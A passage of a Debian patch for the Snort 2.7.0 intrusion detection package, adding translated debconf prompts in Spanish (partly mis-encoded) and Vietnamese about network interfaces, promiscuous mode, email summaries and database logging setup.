+#~ "estos, escoja �no� y contin�e con la configuraci�n habitual de registro, o "
+#~ "arregle esto. Siempre puede configurar la base de datos m�s adelante "
+#~ "reconfigurando snort-mysql utilizando: �dpkg-reconfigure -plow snort-mysql�"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Aseg�rese de que el usuario ha sido creado y tiene permisos de escritura."
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort necesita tener una base de datos configurada antes de arrancar"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "S�lo tiene que hacer �sto la primera vez que instale snort-pgsql. Andes "
+#~ "de seguir adelante aseg�rese de que (1) el nombre de servidor del equipo "
+#~ "que ejecuta la base de datos mysql permite realizar conexiones tcp desde "
+#~ "�ste equipo, (2) hay una base de datos en ese servidor, (3) el nombre de "
+#~ "usuario y contrase�a de acceso a la base de datos. Si no tiene _todos_ "
+#~ "estos, escoja �no� y contin�e con la configuraci�n habitual de registro, o "
+#~ "arregle esto. Siempre puede configurar la base de datos m�s adelante "
+#~ "reconfigurando snort-pgsql utilizando: �dpkg-reconfigure -plow snort-pgsql�"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort necesita una base de datos correctamente configurada para poder "
+#~ "arrancar.Para poder crear la estructura debe ejecutar las �rdenes "
+#~ "mostradas a continuaci�n DESPU�S de instalar el paquete:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_pgsql.gz | psql -U <usuario> -h <servidor> -W "
+#~ "<base_de_datos>\n"
+#~ "Rellene correctamente los valores para el usuario, servidor y nombre de "
+#~ "la base de datos. PostgreSQL le solicitar� la contrase�a."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, introduzca el nombre de la interfaz o interfaces en la que "
+#~ "Snort debe escuchar. Puede obtener los nombres de las interfaces "
+#~ "ejecutando �ip link show�. Este valor suele ser �eth0�, pero quiz�s desee "
+#~ "variarlo dependiendo de su entorno. Si est� utilizando una conexi�n "
+#~ "telef�nica a Internet basada en PPP puede ser m�s apropiado utilizar "
+#~ "�ppp0�."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Introduzca el intervalo de direcciones que monitorizar� Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Deber�a deshabilitar el modo prom�scuo si est� configurando Snort en una "
+#~ "interfaz sin direcciones IP."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Introduzca el nombre de servidor de la base de datos mysql que va a "
+#~ "utilizar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Por favor, indique el nombre de la base de datos a utilizar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Por favor, introduzca el nombre de usuario de la base de datos que quiere "
+#~ "utilizar."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Introduzca el nombre de servidor de la base de datos psql que va a "
+#~ "utilizar."
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "Su sistema tiene un fichero de configuraci�n obsoleto (/etc/snor/snort."
+#~ "common.parameters) que ha sido convertido de forma autom�tica al nuevo "
+#~ "formato de fichero de configuraci�n (en /etc/default/snort). Por favor, "
+#~ "revise el nuevo fichero de configuraci�n y borre el antig�o. El gui�n del "
+#~ "init.d no utilizar� la nueva configuraci�n hasta que lo borre y no podr� "
+#~ "aprovecharse de las ventajas introducidas en nuevas versiones."
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters)  which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "Su sistema tiene un fichero de configuraci�n obsoleto (/etc/snor/snort."
+#~ "common.parameters) que ha sido convertido de forma autom�tica al nuevo "
+#~ "formato de fichero de configuraci�n (en /etc/default/snort). Por favor, "
+#~ "revise el nuevo fichero de configuraci�n y borre el antig�o. El gui�n del "
+#~ "init.d no utilizar� la nueva configuraci�n hasta que lo borre y no podr� "
+#~ "aprovecharse de las ventajas introducidas en nuevas versiones."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on. The names of the available interfaces are provided by either running "
+#~ "'ip link show' of 'ifconfig'. This value usually is 'eth0', but you might "
+#~ "want to vary this depending on your environment, if you are using a "
+#~ "dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, introduzca el nombre de la interfaz o interfaces en la que "
+#~ "Snort debe escuchar. Puede obtener los nombres de las interfaces "
+#~ "ejecutando �ip link show�. Este valor suele ser �eth0�, pero quiz�s desee "
+#~ "variarlo dependiendo de su entorno. Si est� utilizando una conexi�n "
+#~ "telef�nica a Internet basada en PPP puede ser m�s apropiado utilizar "
+#~ "�ppp0�."
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "�En qu� interfaz deber�a escuchar Snort?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Tenga en cuenta que generalmente se configura a Snort para que analice "
+#~ "todo el tr�fico que viene de Internet, as� que la interfaz que se a�ade "
+#~ "aqu� es generalmente la misma que tiene definida la ruta por omisi�n. "
+#~ "Para determinar qu� interfaz se est� utilizando para esto, ejecute bien "
+#~ "�ip route show� o bien �/sbin/route -n� (busque aquellos valores asociados "
+#~ "a �default� o �0.0.0.0�)."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "�Deber�a Snort deshabilitar el modo prom�scuo en la interfaz?"
+
+#~ msgid ""
+#~ "The configuration file found the following deprecated content:  "
+#~ "${DEP_CONFIG}"
+#~ msgstr ""
+#~ "Se encontraron las siguientes opciones obsoletas en el fichero de "
+#~ "configuraci�n: ${DEP_CONFIG}"
+
+#~ msgid ""
+#~ "Please enter the interface name wich snort should listen on. F.e. eth0 "
+#~ "Usually this is the interface the 'default route' is on.  See  '/sbin/ip "
+#~ "ro sh' or '/sbin/route -n' and look for 'default' or '0.0.0.0'."
+#~ msgstr "Introduzca el nombre de la interfaz "
--- snort-2.7.0.orig/debian/po/vi.po
+++ snort-2.7.0/debian/po/vi.po
@@ -0,0 +1,616 @@
+# Vietnamese translation for Snort.
+# Copyright © 2008 Free Software Foundation, Inc.
+# Clytie Siddall <clytie@riverland.net.au>, 2005-2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort 2.7.0-15\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-28 16:20+0930\n"
+"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
+"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Generator: LocFactoryEditor 1.7b3\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "khởi động"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "quay số"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "bằng tay"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Phương pháp khởi chạy Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Có thể khởi chạy Snort trong khi khởi động máy, khi kết nối đến Internet "
+"bằng pppd, hoặc chỉ khi bạn tự khởi chạy nó thông qua « /usr/sbin/snort »."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Các giao diện trên chúng Snort nên lắng nghe:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Giá trị này thường là « eth0 », nhưng nó có thể không thích hợp trong một số "
+"môi trường mạng; đối với kết nối quay số thì « ppp0 » có thể thích hợp hơn "
+"(xem kết xuất của « /sbin/ifconfig »)."
+
+# Notice that Snort is usually configured to inspect all traffic coming
+# from the Internet, so the interface you add here is usually the same the
+# 'default route' is on.  You can determine which interface is used for
+# this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for
+# 'default' or '0.0.0.0').
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Bình thường, đây là cùng một giao diện với cái chứa « tuyến mặc định ». Bạn "
+"có thể quyết định giao diện nào được dùng cho tuyến đường này, bằng cách "
+"chạy « sbin/route -n » (tìm địa chỉ « 0.0.0.0 »)."
+
+# It is also not uncommon to run Snort on an interface with no IP and
+# configured in promiscuous mode, if this is your case, select the
+# interface in this system that is physically connected to the network you
+# want to inspect, enable promiscuous mode later on and make sure that the
+# network traffic is sent to this interface (either connected to a 'port
+# mirroring/spanning' port in a switch, to a hub or to a tap)
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Một số người nào đó cũng dùng một giao diện không có địa chỉ IP được cấu "
+"hình trong chế độ không phân biệt (promiscuous mode). Trong trường hợp như "
+"vậy, hãy chọn giao diện trên hệ thống này mà kết nối vật chất đến mạng cần "
+"kiểm tra, hiệu lực chế độ không phân biệt về sau, và kiểm tra xem trọng tải "
+"trên mạng được gửi cho giao diện này (hoặc kết nối đến một cổng kiểu « phản "
+"chiếu/xuyện qua » trong cái chuyển, đến một cái nối hay một dây rẽ)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Cũng có thể cấu hình nhiều giao diện: liệt kê các tên giao diện định giới "
+"bằng dấu cách. Mỗi giao diện có thể đặt cấu hình riêng."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Phạm vi địa chỉ cho mạng cục bộ :"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Bạn cần phải sử dụng dạng CIDR, tức là « 192.168.1.0/24 » cho một khối 256 "
+"địa chỉ IP, hay « 192.168.1.42/32 » cho chỉ một điều. Ghi rõ nhiều địa chỉ "
+"trong cùng một dòng riêng lẻ, định giới bằng dấu phẩy « , » (không có dấu "
+"cách)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Ghi chú rằng nếu Snort được cấu hình để dùng nhiều giao diện, nó sẽ dùng giá "
+"trị này làm lời định nghĩa « HOME_NET » cho tất cả."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort nên tắt chế độ không phân biệt trên giao diện này không?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Vô hiệu hóa chế độ không phân biệt có nghĩa là trình Snort sẽ chỉ thấy những "
+"gói tin được gửi cho giao diện nó đang theo dõi. Việc hiệu lực chế độ này "
+"thì cho phép trình Snort kiểm tra mọi gói tin đi qua đoạn Ethernet, thậm chí "
+"nếu nó là kết nối giữa hai máy tính khác."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Giao diện không hợp lệ"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort đang thử dùng một giao diện không tồn tại hoặc bị tắt. Hoặc nó đang "
+"trở về giá trị mặc định sai « eth0 », hoặc bạn đã ghi rõ một giao diện không "
+"hợp lệ."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Thứ tự kiểm tra của Snort nên thay đổi thành « Pass|Alert|Log » không?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Thứ tự kiểm tra mặc định của Snort là « Alert|Pass|Log » (Báo động|Đi qua|Ghi "
+"lưu). Bật tùy chọn này thì thứ tự sẽ được thay đổi thành « Pass|Alert|Log », "
+"mà có thể làm cho đơn giản hơn khi dùng Snort với một số công cụ nào đó để "
+"lọc gói tin."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Có nên gửi hàng ngày thư đính kèm bản tóm tắt không?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Có thể thiết lập một công việc định thời để gửi hàng ngày bản tóm tắt của "
+"các bản ghi Snort cho một địa chỉ thư điện tử đã chọn."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Hãy chọn có nên kích hoạt tính năng này hay không."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Người nhận thư thống kê hàng ngày:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Hãy ghi rõ địa chỉ thư điện tử nên nhận bản tóm tắt của các bản ghi Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Tùy chọn riêng thêm:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Hãy ghi rõ bất cứ tùy chọn khác nào Snort nên dùng."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Số lần xảy ra tối thiểu trước khi báo động:"
+
+# An alert needs to appear more times than this number to be included in
+# the daily statistics.
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Hãy nhập số tối thiểu các lần xảy ra báo động trước khi một báo động đã cho "
+"được chèn vào thống kê hàng ngày."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Cần thiết khởi chạy lại Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Vì Snort được khởi chạy bằng tay, bạn cần phải chạy « /etc/init.d/snort » để "
+"các thay đổi có tác động."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Lỗi cấu hình"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Cấu hình Snort hiện thời không phải là hợp lệ thì ngăn cản Snort khởi chạy "
+"bình thường. Hãy xem lại và sửa chữa."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Để chẩn đoán lỗi trong tập tin cấu hình Snort, dùng « /usr/sbin/snort -T -c "
+"<tập_tin> »."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Tập tin cấu hình quá cũ"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Hệ thống này dùng một tập tin cấu hình quá cũ (/etc/snort/snort.common."
+"parameters) mà ta đã được chuyển đổi sang định dạng tập tin cấu hình mới (ở "
+"« /etc/default/snort »). Hãy xem lại cấu hình mới, rồi gỡ bỏ tập tin cũ. "
+"Trước khi bạn làm như thế, văn lệnh « init.d » sẽ không dùng cấu hình mới và "
+"bạn sẽ không lợi dựng các phiên bản mới."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Hãy xem lại cấu hình mới, rồi gỡ bỏ tập tin cũ. Trước khi bạn làm như thế, "
+"văn lệnh « init.d » sẽ không dùng cấu hình mới và bạn sẽ không lợi dựng các "
+"phiên bản mới."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Thiết lập một cơ sở dữ liệu cho snort-mysql đăng nhập vào không?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Chưa thiết lập cơ sở dữ liệu vào đó Snort có thể đăng nhập. Trước khi tiếp "
+"tục, bạn nên kiểm tra xem có :"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" • tên máy của máy phục vụ\n"
+"\tmáy phục vụ đó phải cho phép kết nối TCP từ máy này)\n"
+" • một cơ sở dữ liệu trên máy phục vụ đó\n"
+" • một tên người dùng và mật khẩu để truy cập đến cơ sở dữ liệu."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Thiếu tùy chọn trên thì từ chối mục này và chạy với hỗ trợ ghi lưu vào tập "
+"tin tiêu chuẩn."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Chức năng ghi lưu cơ sở dữ liệu có thể được cấu hình lại về sau bằng cách "
+"chạy câu lệnh « dpkg-reconfigure -plow snort-mysql »."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Tên máy của máy phục vụ cơ sở dữ liệu :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Hãy ghi rõ tên máy của một máy phục vụ cơ sở dữ liệu cho phép kết nối gửi "
+"đến từ máy này."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Tên cơ sở dữ liệu :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Hãy ghi rõ tên của một cơ sở dữ liệu đã tồn tại vào đó người dùng cơ sở dữ "
+"liệu có quyền ghi."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Tên người dùng để truy cập đến cơ sở dữ liệu :"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Hãy ghi rõ một tên người dùng máy phục vụ cơ sở dữ liệu có quyền ghi vào cơ "
+"sở dữ liệu."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Mật khẩu để kết nối đến cơ sở dữ liệu :"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Hãy nhập mật khẩu cần dùng để kết nối đến cơ sở dữ liệu Báo Động Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Cơ sở dữ liệu đã cấu hình cần thiết cho Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Trình Snort cần thiết một cơ sở dữ liệu đã cấu hình, để khởi chạy được. Để "
+"tạo cấu trúc này, hãy chạy những câu lệnh theo đây SAU KHI cài đặt gói:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <người_dùng> -h <máy> -p <tên_cơ_sở_dữ_liệu>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Hãy điền vào các giá trị đúng cho tên người dùng, tên máy và tên cơ sở dữ "
+"liệu. Trình MySQL sẽ nhắc bạn nhập mật khẩu."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Sau khi tạo cấu trúc cơ sở dữ liệu, bạn cần phải tự khởi chạy trình Snort."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Thiết lập một cơ sở dữ liệu cho snort-pgsql ghi lưu vào không?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Chức năng ghi lưu cơ sở dữ liệu có thể được cấu hình lại về sau bằng cách "
+"chạy câu lệnh « dpkg-reconfigure -plow snort-pgsql »."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <người_dùng> -h <máy> -W "
+"<tên_cơ_sở_dữ_liệu>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Hãy điền vào các giá trị đúng cho tên người dùng, tên máy và tên cơ sở dữ "
+"liệu. Trình PostgreSQL sẽ nhắc bạn nhập mật khẩu."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Tập tin cấu hình bị phản đối"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Tập tin cấu hình Snort (/etc/snort/snort.conf) có dùng các tùy chọn bị phản "
+"đối không còn sẵn sàng lại cho phiên bản Snort này. Trình Snort sẽ không thể "
+"khởi chạy nếu bạn không cung cấp một tập tin cấu hình đúng. Bạn nên hoặc cho "
+"phép tập tin được thay thế bằng tập tin trong gói này, hoặc tự sửa chữa nó "
+"bằng cách gỡ bỏ các tùy chọn bị phản đối."
+
+#. Type: note
+#. Description
